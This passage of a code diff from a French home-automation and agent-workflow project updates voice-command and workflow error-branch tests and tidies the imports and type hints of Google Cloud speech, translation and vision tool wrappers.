"light.turn_off" @@ -21,7 +21,7 @@ def test_stt_groupe_salon(): norm = normalize_vocal_stt("Est-elle le groupe de lumière du salon ?") m = match_ha_command(norm) assert m is not None - assert m.entity_id == "light.salon" + assert m.entity_id == "light.living_room" def test_stt_somme_chambre(): @@ -32,27 +32,27 @@ def test_stt_somme_chambre(): def test_eteindre_lumiere_salon(): m = match_ha_command("éteindre la lumière du salon") assert m is not None - assert m.entity_id == "light.salon" + assert m.entity_id == "light.living_room" assert m.service == "light.turn_off" def test_descend_volet_salon(): m = match_ha_command("Descend le volet du salon") assert m is not None - assert m.service == "script.tab5_volet_action" + assert m.service == "script.blind_action" assert m.service_data == {"action": "close"} def test_baisse_volet_salon_not_light(): - """« baisse le volet du salon » ne doit pas éteindre light.salon.""" + """« baisse le volet du salon » ne doit pas éteindre light.living_room.""" m = match_ha_command("baisse le volet du salon") assert m is not None - assert m.service == "script.tab5_volet_action" + assert m.service == "script.blind_action" assert m.service_data == {"action": "close"} def test_stop_volet_phrase(): m = match_ha_command("stop le volet du salon") assert m is not None - assert m.service == "script.tab5_volet_action" + assert m.service == "script.blind_action" assert m.service_data == {"action": "stop"} diff --git a/tests/unit/test_vocal_tools.py b/tests/unit/test_vocal_tools.py index cce88b3..c50cd28 100644 --- a/tests/unit/test_vocal_tools.py +++ b/tests/unit/test_vocal_tools.py @@ -15,7 +15,7 @@ def test_ha_call_service_refuse_homeassistant_restart(): - out = _tool_ha_call_service("light.salon", "homeassistant.restart", {}) + out = _tool_ha_call_service("light.living_room", "homeassistant.restart", {}) assert "Refusé" in out diff --git a/tests/unit/test_vocal_tts_cache.py b/tests/unit/test_vocal_tts_cache.py index bbf1617..341213c 100644 --- a/tests/unit/test_vocal_tts_cache.py +++ b/tests/unit/test_vocal_tts_cache.py @@ -1,10 +1,13 @@ """Tests vocal_tts_cache.""" from core.vocal_tts_cache import ( + _TOOL_DUMP_FALLBACK, canonical_text_for_ha_action, load_phrase_catalog, + looks_like_tool_or_code_dump, normalize_tts_text, resolve_phrase_id, + sanitize_discussion_tts, ) @@ -20,5 +23,26 @@ def test_resolve_phrase_id_from_catalog(): def test_canonical_text_for_ha_action(): - text = canonical_text_for_ha_action("light.salon", "light.turn_on") + text = canonical_text_for_ha_action("light.living_room", "light.turn_on") assert text == "Lumière du salon allumée." + + +def test_looks_like_tool_dump_json(): + dump = ( + '{"tool":"tab5-engine","arguments":{"action":"get_models_catalog"}}' + '{ "status": "success", "models": [] }' + ) + assert looks_like_tool_or_code_dump(dump) is True + assert sanitize_discussion_tts(dump) == _TOOL_DUMP_FALLBACK + + +def test_looks_like_tool_dump_mcp_prose(): + dump = 'We will call the MCP tool search_ha_entities with query "chimini".' + assert looks_like_tool_or_code_dump(dump) is True + assert "outils" in sanitize_discussion_tts(dump).lower() or "web" in sanitize_discussion_tts(dump).lower() + + +def test_sanitize_keeps_french_sentence(): + ok = "Gemini est une famille de modèles Google, mais je n'ai pas la date exacte de la dernière sortie." + assert looks_like_tool_or_code_dump(ok) is False + assert "Gemini" in sanitize_discussion_tts(ok) diff --git a/tests/unit/test_workflow_bridge_conditions.py b/tests/unit/test_workflow_bridge_conditions.py new file mode 100644 index 0000000..c02d5a5 --- /dev/null +++ b/tests/unit/test_workflow_bridge_conditions.py @@ -0,0 +1,112 @@ +""" +tests/unit/test_workflow_bridge_conditions.py — Traversée des nœuds condition (#T219). + +Les nœuds de type 'condition' (ex. "Succès ?") n'ont jamais d'agentName, dans +aucun schéma : avant le fix, get_next_agents() ne pouvait résoudre AUCUNE +transition passant par un nœud condition (vérifié contre workflows/Default.json, +le workflow canonique). Le statut de l'agent d'origine est désormais propagé au +travers du nœud condition vers ses arêtes out-true/out-false. +""" + +import os + +from core.workflow_bridge import WorkflowBridge, _normalize_workflow + +_REPO = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) +_DEFAULT_JSON = os.path.join(_REPO, "workflows", "Default.json") + + +def _bridge_from(data: dict) -> WorkflowBridge: + """Construit un WorkflowBridge sur un workflow en mémoire (sans fichier).""" + bridge = WorkflowBridge(workflow_path="/nonexistent/for-tests.json") + bridge._cache = _normalize_workflow(data) + return bridge + + +def _mini_workflow() -> dict: + """Reviewer → Succès? → [Fin | planner], ancien schéma (fromPort).""" + return { + "nodes": [ + {"id": "n-rev", "type": "agent", "agentName": "reviewer"}, + {"id": "n-cond", "type": "condition", "agentName": None, "label": "Succès ?"}, + {"id": "n-end", "type": "end", "agentName": None}, + {"id": "n-heal", "type": "agent", "agentName": "planner"}, + ], + "connections": [ + {"from": "n-rev", "fromPort": "out", "to": "n-cond"}, + {"from": "n-cond", "fromPort": "out-true", "to": "n-end"}, + {"from": "n-cond", "fromPort": "out-false", "to": "n-heal"}, + ], + } + + +def test_condition_traversee_vers_self_healing(): + bridge = _bridge_from(_mini_workflow()) + assert bridge.get_next_agents("reviewer", "error") == ["planner"] + + +def test_condition_traversee_vers_fin_sans_agent(): + """Branche succès → nœud end sans agent : aucune cible (fin propre).""" + bridge = _bridge_from(_mini_workflow()) + assert bridge.get_next_agents("reviewer", "success") == [] + + +def test_transition_directe_sans_condition_inchangee(): + data = { + "nodes": [ + {"id": "n-exec", "type": "agent", "agentName": "executor"}, + {"id": "n-rev", "type": "agent", "agentName": "reviewer"}, + ], + "connections": [{"from": "n-exec", "fromPort": "out", "to": "n-rev"}], + } + bridge = _bridge_from(data) + assert bridge.get_next_agents("executor", "success") == ["reviewer"] + + +def test_cycle_de_conditions_ne_boucle_pas(): + """Deux nœuds condition qui se pointent mutuellement : garde anti-cycle.""" + data = { + "nodes": [ + {"id": "n-a", "type": "agent", "agentName": "executor"}, + {"id": "c-1", "type": "condition", "agentName": None}, + {"id": "c-2", "type": "condition", "agentName": None}, + {"id": "n-b", "type": "agent", "agentName": "reviewer"}, + ], + "connections": [ + {"from": "n-a", "fromPort": "out", "to": "c-1"}, + {"from": "c-1", "fromPort": "out", "to": "c-2"}, + {"from": "c-2", "fromPort": "out", "to": "c-1"}, # cycle + {"from": "c-2", "fromPort": "out-true", "to": "n-b"}, + ], + } + bridge = _bridge_from(data) + assert bridge.get_next_agents("executor", "success") == ["reviewer"] + + +def test_nouveau_schema_react_flow_traverse_aussi(): + """Même graphe au nouveau schéma edges/source/target/label + data.agent.""" + data = { + "nodes": [ + {"id": "n-rev", "type": "agent", "data": {"agent": "reviewer"}}, + {"id": "n-cond", "type": "condition", "data": {"agent": "?"}}, + {"id": "n-heal", "type": "agent", "data": {"agent": "planner"}}, + ], + "edges": [ + {"source": "n-rev", "target": "n-cond", "label": "out"}, + {"source": "n-cond", "target": "n-heal", "label": "out-false"}, + ], + } + bridge = _bridge_from(data) + assert bridge.get_next_agents("reviewer", "error") == ["planner"] + + +def test_workflow_canonique_default_json(): + """Contre le vrai fichier workflows/Default.json : les deux branches du + nœud "Succès ?" (node-7) se résolvent enfin (#T219, avant : [] et []).""" + bridge = WorkflowBridge(workflow_path=_DEFAULT_JSON) + # Reviewer (node-10) → Succès? (node-7) → Self-Healing (node-9, planner) + assert bridge.get_next_agents("reviewer", "error") == ["planner"] + # Branche succès → Résultat Final (node-8, end) : aucune cible + assert bridge.get_next_agents("reviewer", "success") == [] + # Transition directe existante non affectée + assert bridge.get_next_agents("executor", "success") == ["reviewer"] diff --git a/tests/unit/test_workflow_error_branch.py b/tests/unit/test_workflow_error_branch.py new file mode 100644 index 0000000..dcb091f --- /dev/null +++ b/tests/unit/test_workflow_error_branch.py @@ -0,0 +1,237 @@ +""" +tests/unit/test_workflow_error_branch.py — Branche d'échec du Workflow-as-Code (#T219). + +Second volet de #T219. Le premier volet (traversée des nœuds `condition` dans +`WorkflowBridge.get_next_agents`) savait déjà router un `status="error"` vers la +sortie `out-false`, mais AUCUN appelant ne l'atteignait avec ce statut : +`Engine._run_agent_loop` sortait de la boucle (`break`) dès `update.status == +"error"`, avant le bloc qui consulte le graphe. Toute branche d'échec dessinée +dans l'éditeur HMI était donc du code mort en production. + +Ces tests verrouillent les deux moitiés du comportement attendu : +- une branche d'échec **explicitement dessinée** (`out-false`) est empruntée ; +- une simple arête « toujours active » ne suffit PAS à dévier du fail-fast + historique (sinon le moteur enchaînerait sur l'agent suivant à chaque erreur). +""" + +import asyncio +import os + +import pytest + +from core.state import GlobalState, StateUpdate, TaskPayload +from core.workflow_bridge import WorkflowBridge, _normalize_workflow +from core.workflow_executor import WorkflowExecutor + +_REPO = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) +_DEFAULT_JSON = os.path.join(_REPO, "workflows", "Default.json") + + +def _bridge_from(data: dict) -> WorkflowBridge: + """Construit un WorkflowBridge sur un workflow en mémoire (sans fichier).""" + bridge = WorkflowBridge(workflow_path="/nonexistent/for-tests.json") + bridge._cache = _normalize_workflow(data) + return bridge + + +def _workflow_avec_branche_echec() -> dict: + """reviewer → Succès? → [Fin (out-true) | planner (out-false)].""" + return { + "nodes": [ + {"id": "n-rev", "type": "agent", "agentName": "reviewer"}, + {"id": "n-cond", "type": "condition", "agentName": None, "label": "Succès ?"}, + {"id": "n-end", "type": "end", "agentName": None}, + {"id": "n-heal", "type": "agent", "agentName": "planner"}, + ], + "connections": [ + {"from": "n-rev", "fromPort": "out", "to": "n-cond"}, + {"from": "n-cond", "fromPort": "out-true", "to": "n-end"}, + {"from": "n-cond", "fromPort": "out-false", "to": "n-heal"}, + ], + } + + +def _workflow_sans_branche_echec() -> dict: + """executor → reviewer par une seule arête « toujours active » (out).""" + return { + "nodes": [ + {"id": "n-exec", "type": "agent", "agentName": "executor"}, + {"id": "n-rev", "type": "agent", "agentName": "reviewer"}, + ], + "connections": [{"from": "n-exec", "fromPort": "out", "to": "n-rev"}], + } + + +# ────────────────────────────────────────────────────────────────── +# Volet 1 — résolution (WorkflowBridge) +# ────────────────────────────────────────────────────────────────── + +def test_branche_echec_explicite_retenue(): + bridge = _bridge_from(_workflow_avec_branche_echec()) + assert bridge.get_next_agents("reviewer", "error", require_explicit_condition=True) == ["planner"] + + +def test_arete_toujours_active_rejetee_en_mode_explicite(): + """Une arête sans condition ne doit pas suffire à dévier du fail-fast.""" + bridge = _bridge_from(_workflow_sans_branche_echec()) + assert bridge.get_next_agents("executor", "error") == ["reviewer"] + assert bridge.get_next_agents("executor", "error", require_explicit_condition=True) == [] + + +def test_mode_explicite_naffecte_pas_le_chemin_succes(): + """Non-régression : le comportement par défaut reste inchangé.""" + bridge = _bridge_from(_workflow_avec_branche_echec()) + assert bridge.get_next_agents("reviewer", "success") == [] + assert bridge.get_next_agents("reviewer", "error") == ["planner"] + + +def test_cible_atteignable_par_deux_chemins_dont_un_explicite(): + """La cible est rejetée via l'arête « toujours active » mais retenue via + l'arête out-false : le marquage anti-cycle ne doit pas la condamner.""" + data = { + "nodes": [ + {"id": "n-a", "type": "agent", "agentName": "executor"}, + {"id": "c-1", "type": "condition", "agentName": None}, + {"id": "n-b", "type": "agent", "agentName": "planner"}, + ], + "connections": [ + # Chemin direct, non conditionné → rejeté en mode explicite + {"from": "n-a", "fromPort": "out", "to": "n-b"}, + # Chemin conditionné passant par le nœud condition → accepté + {"from": "n-a", "fromPort": "out", "to": "c-1"}, + {"from": "c-1", "fromPort": "out-false", "to": "n-b"}, + ], + } + bridge = _bridge_from(data) + assert bridge.get_next_agents("executor", "error", require_explicit_condition=True) == ["planner"] + + +def test_workflow_canonique_fail_fast_preserve(): + """workflows/Default.json : l'Executor n'a qu'une sortie « out » vers le + Reviewer — une erreur d'Executor doit continuer à couper la session.""" + bridge = WorkflowBridge(workflow_path=_DEFAULT_JSON) + assert bridge.get_next_agents("executor", "error", require_explicit_condition=True) == [] + # Le Reviewer, lui, a bien une branche d'échec dessinée (node-7 → node-9). + assert bridge.get_next_agents("reviewer", "error", require_explicit_condition=True) == ["planner"] + + +# ────────────────────────────────────────────────────────────────── +# Volet 2 — consommation (Engine._run_agent_loop) +# ────────────────────────────────────────────────────────────────── + +class _AgentEnErreur: + """Agent qui échoue systématiquement.""" + + def __init__(self, name: str): + self.name = name + + async def invoke(self, payload: TaskPayload) -> StateUpdate: + return StateUpdate( + agent_name=self.name, + status="error", + result_data=None, + error_message=f"Échec simulé de {self.name}", + metadata={}, + ) + + +class _BudgetPermissif: + def check(self): + return None + + +def _engine_de_test(workflow: dict, agent_name: str): + """Engine réel, mais avec workflow en mémoire, DAG et checkpoint neutralisés.""" + from core.engine import Engine + + engine = Engine(session_id="t219_error_branch") + engine.state = GlobalState(session_id="t219_error_branch") + engine.state.current_payload = TaskPayload(task_objective="objectif de test") + engine.agents = {agent_name: _AgentEnErreur(agent_name)} + engine._workflow_executor = WorkflowExecutor(bridge=_bridge_from(workflow)) + + appels: list = [] + + async def _fake_dag(dag_tasks, initial_payload, max_session_tokens, budget): + appels.append(list(dag_tasks)) + return {}, False + + engine._handle_dag_execution = _fake_dag + engine._checkpoint_mgr.save = lambda state: None + return engine, appels + + +def _lancer(engine): + return asyncio.run( + engine._run_sequential_agents( + initial_payload=TaskPayload(task_objective="objectif de test"), + starting_agent=next(iter(engine.agents)), + budget=_BudgetPermissif(), + max_session_tokens=100_000, + _lf=None, + ) + ) + + +def test_engine_emprunte_la_branche_echec_du_graphe(): + """#T219 : une erreur d'agent doit désormais atteindre la branche out-false.""" + engine, appels = _engine_de_test(_workflow_avec_branche_echec(), "reviewer") + has_error, _ = _lancer(engine) + + assert len(appels) == 1, "la branche d'échec du workflow n'a pas été exécutée" + cibles = [t.metadata.get("target_agent") for t in appels[0]] + assert cibles == ["planner"] + assert has_error is False, "le DAG correctif a réussi : la session ne doit pas être en erreur" + + +def test_message_derreur_transmis_a_la_branche_de_recuperation(): + """Sans le motif de l'échec, l'agent de récupération corrigerait à l'aveugle + (`result_data` vaut None sur un StateUpdate en erreur).""" + engine, appels = _engine_de_test(_workflow_avec_branche_echec(), "reviewer") + _lancer(engine) + + contexte = appels[0][0].relevant_context + assert "Échec simulé de reviewer" in contexte + + +def test_engine_fail_fast_sans_branche_echec_dessinee(): + """Non-régression : sans sortie conditionnée par l'échec, on coupe comme avant.""" + engine, appels = _engine_de_test(_workflow_sans_branche_echec(), "executor") + has_error, _ = _lancer(engine) + + assert appels == [], "aucune transition ne doit être injectée sans branche explicite" + assert has_error is True + + +def test_engine_propage_lechec_du_dag_correctif(): + """Si la branche d'échec échoue à son tour, la session reste en erreur.""" + engine, appels = _engine_de_test(_workflow_avec_branche_echec(), "reviewer") + + async def _fake_dag_ko(dag_tasks, initial_payload, max_session_tokens, budget): + appels.append(list(dag_tasks)) + return {}, True + + engine._handle_dag_execution = _fake_dag_ko + has_error, _ = _lancer(engine) + + assert len(appels) == 1 + assert has_error is True + + +@pytest.mark.parametrize("statut_agent", ["error"]) +def test_engine_emet_levenement_workflow_error_branch(statut_agent): + """L'IHM doit pouvoir tracer la déviation (évènement SSE dédié).""" + engine, _ = _engine_de_test(_workflow_avec_branche_echec(), "reviewer") + evenements: list = [] + + async def _on_event(nom, payload): + evenements.append((nom, payload)) + + engine.on_event = _on_event + _lancer(engine) + + noms = [nom for nom, _ in evenements] + assert "workflow_error_branch" in noms + payload = dict(evenements[noms.index("workflow_error_branch")][1]) + assert payload["source_agent"] == "reviewer" + assert payload["targets"] == ["planner"] diff --git a/tools/api.py b/tools/api.py index 5f1d311..bf7e238 100644 --- a/tools/api.py +++ b/tools/api.py @@ -1,7 +1,14 @@ -import requests +""" +tools/api.py — Outil "call_api" exposé aux agents via le ToolRegistry. + +Exécute des requêtes HTTP vers des APIs distantes (REST générique, Home +Assistant, ESPHome) à partir d'un payload/headers JSON fournis par le LLM. +""" import json import logging +import requests + logger = logging.getLogger(__name__) def call_api(url: str, method: str = "GET", payload_json: str = None, headers_json: str = None) -> str: @@ -15,7 +22,7 @@ def call_api(url: str, method: str = "GET", payload_json: str = None, headers_js headers = {} if headers_json: headers = json.loads(headers_json) - + data = None if payload_json: data = json.loads(payload_json) @@ -30,26 +37,26 @@ def call_api(url: str, method: str = "GET", payload_json: str = None, headers_js json=data, timeout=15 ) - + # Formatage lisible pour l'agent try: result = response.json() output = json.dumps(result, indent=2) except json.JSONDecodeError: output = response.text - + status = response.status_code if status >= 400: full_response = f"Erreur (HTTP {status}): {output}" else: full_response = f"Status Code: {status}\nResponse:\n{output}" - + MAX_CHARS = 4000 if len(full_response) > MAX_CHARS: return full_response[:MAX_CHARS] + "\n...[SORTIE TRONQUÉE]..." - + return full_response - + except requests.exceptions.Timeout: return "Erreur: Délai d'attente dépassé (Timeout > 15s)." except requests.exceptions.RequestException as e: diff --git a/tools/cloud_stt.py b/tools/cloud_stt.py index 38b3cdb..95ed696 100644 --- a/tools/cloud_stt.py +++ b/tools/cloud_stt.py @@ -14,20 +14,20 @@ Note : Requiert l'activation de speech.googleapis.com sur moteur-ia-free. """ -import os import base64 import logging +import os + import requests -from typing import Optional logger = logging.getLogger("tools.cloud_stt") class CloudSTTProvider: """Provider Cloud Speech-to-Text v1 pour la transcription audio.""" - + BASE_URL = "https://speech.googleapis.com/v1/speech:recognize" - + # Mapping extension → encoding ENCODING_MAP = { ".wav": "LINEAR16", @@ -36,16 +36,16 @@ class CloudSTTProvider: ".ogg": "OGG_OPUS", ".webm": "WEBM_OPUS", } - - def __init__(self, api_key: Optional[str] = None): + + def __init__(self, api_key: str | None = None): self.api_key = api_key or os.environ.get("CLOUD_API_KEY", "") self.available = bool(self.api_key) - + def transcribe( self, audio_path: str, language: str = "fr-FR", - encoding: Optional[str] = None, + encoding: str | None = None, sample_rate: int = 16000, enable_punctuation: bool = True, model: str = "latest_long", @@ -65,24 +65,24 @@ def transcribe( """ if not self.available: return {"error": "Cloud STT non disponible"} - + if not os.path.exists(audio_path): return {"error": f"Fichier introuvable : {audio_path}"} - + # Auto-détection du format if not encoding: ext = os.path.splitext(audio_path)[1].lower() encoding = self.ENCODING_MAP.get(ext, "LINEAR16") - + # Encoder l'audio en base64 with open(audio_path, "rb") as f: audio_content = base64.b64encode(f.read()).decode("utf-8") - + # Vérifier la taille (limite API synchrone : ~10 MB / ~1 min) audio_size_mb = len(audio_content) * 3 / 4 / (1024 * 1024) if audio_size_mb > 10: return {"error": f"Fichier trop volumineux ({audio_size_mb:.1f} MB > 10 MB). Utilisez l'API async."} - + payload = { "config": { "encoding": encoding, @@ -95,26 +95,26 @@ def transcribe( "content": audio_content, }, } - + url = f"{self.BASE_URL}?key={self.api_key}" - + try: resp = requests.post(url, json=payload, timeout=60) - + if resp.status_code != 200: return {"error": f"HTTP {resp.status_code}: {resp.text[:200]}"} - + data = resp.json() results = data.get("results", []) - + if not results: return {"transcript": "", "confidence": 0, "words_count": 0} - + # Concaténer tous les segments full_transcript = "" total_confidence = 0 count = 0 - + for result in results: alternatives = result.get("alternatives", []) if alternatives: @@ -122,22 +122,22 @@ def transcribe( full_transcript += best.get("transcript", "") total_confidence += best.get("confidence", 0) count += 1 - + avg_confidence = total_confidence / max(count, 1) words = len(full_transcript.split()) - + logger.info( f"[Cloud STT] ✅ Transcription : {words} mots, " f"confiance={avg_confidence:.1%}, lang={language}" ) - + return { "transcript": full_transcript.strip(), "confidence": round(avg_confidence, 3), "words_count": words, "language": language, } - + except Exception as e: logger.error(f"[Cloud STT] Erreur : {e}") return {"error": str(e)} @@ -158,22 +158,22 @@ def transcribe_audio(audio_path: str, language: str = "fr-FR") -> str: Le texte transcrit ou un message d'erreur. """ stt = CloudSTTProvider() - + if not stt.available: return "Erreur: Cloud STT non disponible" - + result = stt.transcribe(audio_path=audio_path, language=language) - + if "error" in result: return f"❌ Erreur STT : {result['error']}" - + transcript = result.get("transcript", "") confidence = result.get("confidence", 0) words = result.get("words_count", 0) - + if not transcript: return "🔇 Aucune parole détectée dans l'audio" - + return ( f"🎤 Transcription ({words} mots, confiance {confidence:.0%}) :\n" f"{transcript}" diff --git a/tools/cloud_translate.py b/tools/cloud_translate.py index ee12d4c..7230290 100644 --- a/tools/cloud_translate.py +++ b/tools/cloud_translate.py @@ -14,10 +14,10 @@ moteur-ia-free via la console GCP. """ -import os import logging +import os + import requests -from typing import Optional, List logger = logging.getLogger("tools.cloud_translate") @@ -30,18 +30,18 @@ class CloudTranslateProvider: result = translator.translate("Hello world", target="fr") lang = translator.detect("Bonjour le monde") """ - + BASE_URL = "https://translation.googleapis.com/language/translate/v2" - - def __init__(self, api_key: Optional[str] = None): + + def __init__(self, api_key: str | None = None): self.api_key = api_key or os.environ.get("CLOUD_API_KEY", "") self.available = bool(self.api_key) - + def translate( self, text: str, target: str = "fr", - source: Optional[str] = None, + source: str | None = None, format_type: str = "text", ) -> dict: """Traduit du texte. @@ -57,7 +57,7 @@ def translate( """ if not self.available: return {"error": "Cloud Translate non disponible"} - + params = { "q": text, "target": target, @@ -66,20 +66,20 @@ def translate( } if source: params["source"] = source - + try: resp = requests.post(self.BASE_URL, data=params, timeout=15) - + if resp.status_code != 200: logger.error(f"[Cloud Translate] HTTP {resp.status_code}: {resp.text[:200]}") return {"error": f"HTTP {resp.status_code}"} - + data = resp.json() translations = data.get("data", {}).get("translations", []) - + if not translations: return {"error": "Aucune traduction retournée"} - + t = translations[0] result = { "translated_text": t.get("translatedText", ""), @@ -87,17 +87,17 @@ def translate( "target": target, "chars_count": len(text), } - + logger.info( f"[Cloud Translate] ✅ {result['detected_source']}→{target} " f"({len(text)} chars)" ) return result - + except Exception as e: logger.error(f"[Cloud Translate] Erreur : {e}") return {"error": str(e)} - + def detect(self, text: str) -> dict: """Détecte la langue d'un texte. @@ -106,15 +106,15 @@ def detect(self, text: str) -> dict: """ if not self.available: return {"error": "Cloud Translate non disponible"} - + url = f"{self.BASE_URL}/detect" - + try: resp = requests.post(url, data={"q": text, "key": self.api_key}, timeout=10) - + if resp.status_code != 200: return {"error": f"HTTP {resp.status_code}"} - + detections = resp.json().get("data", {}).get("detections", [[]]) if detections and detections[0]: d = detections[0][0] @@ -124,11 +124,11 @@ def detect(self, text: str) -> dict: "is_reliable": d.get("isReliable", False), } return {"error": "Aucune détection"} - + except Exception as e: return {"error": str(e)} - - def translate_batch(self, texts: List[str], target: str = "fr") -> List[dict]: + + def translate_batch(self, texts: list[str], target: str = "fr") -> list[dict]: """Traduit plusieurs textes en un seul appel. Args: @@ -140,7 +140,7 @@ def translate_batch(self, texts: List[str], target: str = "fr") -> List[dict]: """ if not self.available: return [{"error": "Non disponible"}] - + params = { "target": target, "format": "text", @@ -149,13 +149,13 @@ def translate_batch(self, texts: List[str], target: str = "fr") -> List[dict]: # L'API accepte plusieurs q= dans la même requête data_pairs = [("q", t) for t in texts] data_pairs.extend(params.items()) - + try: resp = requests.post(self.BASE_URL, data=data_pairs, timeout=30) - + if resp.status_code != 200: return [{"error": f"HTTP {resp.status_code}"}] - + translations = resp.json().get("data", {}).get("translations", []) results = [] for i, t in enumerate(translations): @@ -164,11 +164,11 @@ def translate_batch(self, texts: List[str], target: str = "fr") -> List[dict]: "translated_text": t.get("translatedText", ""), "detected_source": t.get("detectedSourceLanguage", "?"), }) - + total_chars = sum(len(t) for t in texts) logger.info(f"[Cloud Translate] ✅ Batch {len(texts)} textes ({total_chars} chars)") return results - + except Exception as e: return [{"error": str(e)}] @@ -189,15 +189,15 @@ def translate_text(text: str, target_lang: str = "fr", source_lang: str = "") -> Le texte traduit ou un message d'erreur. """ translator = CloudTranslateProvider() - + if not translator.available: return "Erreur: Cloud Translate non disponible (clé API manquante)" - + result = translator.translate(text, target=target_lang, source=source_lang or None) - + if "error" in result: return f"❌ Erreur de traduction : {result['error']}" - + src = result.get("detected_source", "?") return ( f"🌍 Traduction ({src} → {target_lang}) :\n" diff --git a/tools/cloud_tts.py b/tools/cloud_tts.py index 9ef5c5b..f08d728 100644 --- a/tools/cloud_tts.py +++ b/tools/cloud_tts.py @@ -19,11 +19,12 @@ - Fallback automatique vers Gemini TTS si Cloud TTS échoue """ -import os import base64 import logging +import os +from typing import Literal + import requests -from typing import Optional, Literal logger = logging.getLogger("tools.cloud_tts") @@ -54,32 +55,32 @@ class CloudTTSProvider: audio_path = tts.synthesize("Bonjour, je suis votre assistant.") audio_path = tts.synthesize("Bonjour monde", ssml=True) """ - + BASE_URL = "https://texttospeech.googleapis.com/v1/text:synthesize" - - def __init__(self, api_key: Optional[str] = None): + + def __init__(self, api_key: str | None = None): """ Args: api_key: Clé API Google (défaut: GEMINI_API_KEY du .env) """ self.api_key = api_key or os.environ.get("CLOUD_API_KEY", "") self.available = bool(self.api_key) - + if not self.available: logger.warning("[Cloud TTS] Aucune clé API configurée") - + def synthesize( self, text: str, - output_path: Optional[str] = None, + output_path: str | None = None, language: str = "fr-FR", - voice_name: Optional[str] = None, + voice_name: str | None = None, voice_gender: str = "FEMALE", ssml: bool = False, speaking_rate: float = 1.0, pitch: float = 0.0, audio_encoding: Literal["MP3", "LINEAR16", "OGG_OPUS"] = "MP3", - ) -> Optional[str]: + ) -> str | None: """Synthétise du texte ou SSML en audio. Args: @@ -99,14 +100,14 @@ def synthesize( if not self.available: logger.error("[Cloud TTS] Provider non disponible") return None - + # Sélection automatique de la voix if not voice_name: if language.startswith("fr"): voices = FRENCH_VOICES else: voices = ENGLISH_VOICES - + gender_key = "female" if voice_gender.upper() == "FEMALE" else "male" # Préférer Neural2 > WaveNet > Standard for quality in ["neural2", "wavenet", "standard"]: @@ -114,7 +115,7 @@ def synthesize( if key in voices: voice_name = voices[key]["name"] break - + # Construction du payload input_field = "ssml" if ssml else "text" payload = { @@ -129,10 +130,10 @@ def synthesize( "pitch": pitch, }, } - + # Appel API url = f"{self.BASE_URL}?key={self.api_key}" - + try: resp = requests.post( url, @@ -140,42 +141,42 @@ def synthesize( json=payload, timeout=30, ) - + if resp.status_code != 200: error_msg = resp.text[:300] logger.error(f"[Cloud TTS] Erreur HTTP {resp.status_code}: {error_msg}") return None - + data = resp.json() audio_content = data.get("audioContent", "") - + if not audio_content: logger.error("[Cloud TTS] Pas de contenu audio dans la réponse") return None - + # Décodage base64 → fichier audio audio_bytes = base64.b64decode(audio_content) - + # Chemin de sortie ext = {"MP3": ".mp3", "LINEAR16": ".wav", "OGG_OPUS": ".ogg"}.get(audio_encoding, ".mp3") if not output_path: import tempfile output_path = os.path.join(tempfile.gettempdir(), f"cloud_tts_output{ext}") - + with open(output_path, "wb") as f: f.write(audio_bytes) - + logger.info( f"[Cloud TTS] ✅ Audio généré : {output_path} " f"({len(audio_bytes)} bytes, voix={voice_name}, " f"chars={len(text)})" ) return output_path - + except Exception as e: logger.error(f"[Cloud TTS] Erreur : {e}") return None - + def list_voices(self, language: str = "fr-FR") -> list: """Liste les voix disponibles pour une langue. @@ -186,12 +187,12 @@ def list_voices(self, language: str = "fr-FR") -> list: Liste des voix avec nom, genre et type """ url = f"https://texttospeech.googleapis.com/v1/voices?languageCode={language}&key={self.api_key}" - + try: resp = requests.get(url, timeout=10) if resp.status_code != 200: return [] - + voices = resp.json().get("voices", []) return [ { @@ -230,22 +231,22 @@ def cloud_tts_synthesize( Chemin du fichier audio généré ou message d'erreur. """ tts = CloudTTSProvider() - + if not tts.available: return "Erreur: Cloud TTS non disponible (clé API manquante)" - + # Résolution du nom de voix voices = FRENCH_VOICES if language.startswith("fr") else ENGLISH_VOICES voice_info = voices.get(voice) voice_name = voice_info["name"] if voice_info else None - + result = tts.synthesize( text=text, output_path=output_path or None, language=language, voice_name=voice_name, ) - + if result: return f"✅ Audio généré : {result} (voix: {voice_name or voice})" else: diff --git a/tools/cloud_vision.py b/tools/cloud_vision.py index 95735b2..e4ced43 100644 --- a/tools/cloud_vision.py +++ b/tools/cloud_vision.py @@ -14,34 +14,34 @@ Note : Requiert l'activation de vision.googleapis.com sur moteur-ia-free. """ -import os import base64 import logging +import os + import requests -from typing import Optional, List logger = logging.getLogger("tools.cloud_vision") class CloudVisionProvider: """Provider Cloud Vision v1 pour l'analyse d'images.""" - + BASE_URL = "https://vision.googleapis.com/v1/images:annotate" - - def __init__(self, api_key: Optional[str] = None): + + def __init__(self, api_key: str | None = None): self.api_key = api_key or os.environ.get("CLOUD_API_KEY", "") self.available = bool(self.api_key) - + def _encode_image(self, image_path: str) -> str: """Encode une image locale en base64.""" with open(image_path, "rb") as f: return base64.b64encode(f.read()).decode("utf-8") - + def analyze( self, - image_path: Optional[str] = None, - image_url: Optional[str] = None, - features: Optional[List[str]] = None, + image_path: str | None = None, + image_url: str | None = None, + features: list[str] | None = None, max_results: int = 10, ) -> dict: """Analyse une image (labels, texte, objets, etc.). @@ -59,10 +59,10 @@ def analyze( """ if not self.available: return {"error": "Cloud Vision non disponible"} - + if not features: features = ["LABEL_DETECTION", "TEXT_DETECTION", "OBJECT_LOCALIZATION"] - + # Construction de l'image source if image_path: image = {"content": self._encode_image(image_path)} @@ -70,7 +70,7 @@ def analyze( image = {"source": {"imageUri": image_url}} else: return {"error": "Il faut image_path ou image_url"} - + # Construction du payload payload = { "requests": [{ @@ -81,24 +81,24 @@ def analyze( ], }] } - + url = f"{self.BASE_URL}?key={self.api_key}" - + try: resp = requests.post(url, json=payload, timeout=30) - + if resp.status_code != 200: return {"error": f"HTTP {resp.status_code}: {resp.text[:200]}"} - + responses = resp.json().get("responses", []) if not responses: return {"error": "Pas de réponse"} - + result = responses[0] - + # Extraction structurée parsed = {} - + # Labels labels = result.get("labelAnnotations", []) if labels: @@ -106,13 +106,13 @@ def analyze( {"description": l["description"], "score": round(l.get("score", 0), 3)} for l in labels ] - + # Texte OCR text_annotations = result.get("textAnnotations", []) if text_annotations: parsed["full_text"] = text_annotations[0].get("description", "") parsed["text_blocks"] = len(text_annotations) - 1 - + # Objets localisés objects = result.get("localizedObjectAnnotations", []) if objects: @@ -120,11 +120,11 @@ def analyze( {"name": o["name"], "score": round(o.get("score", 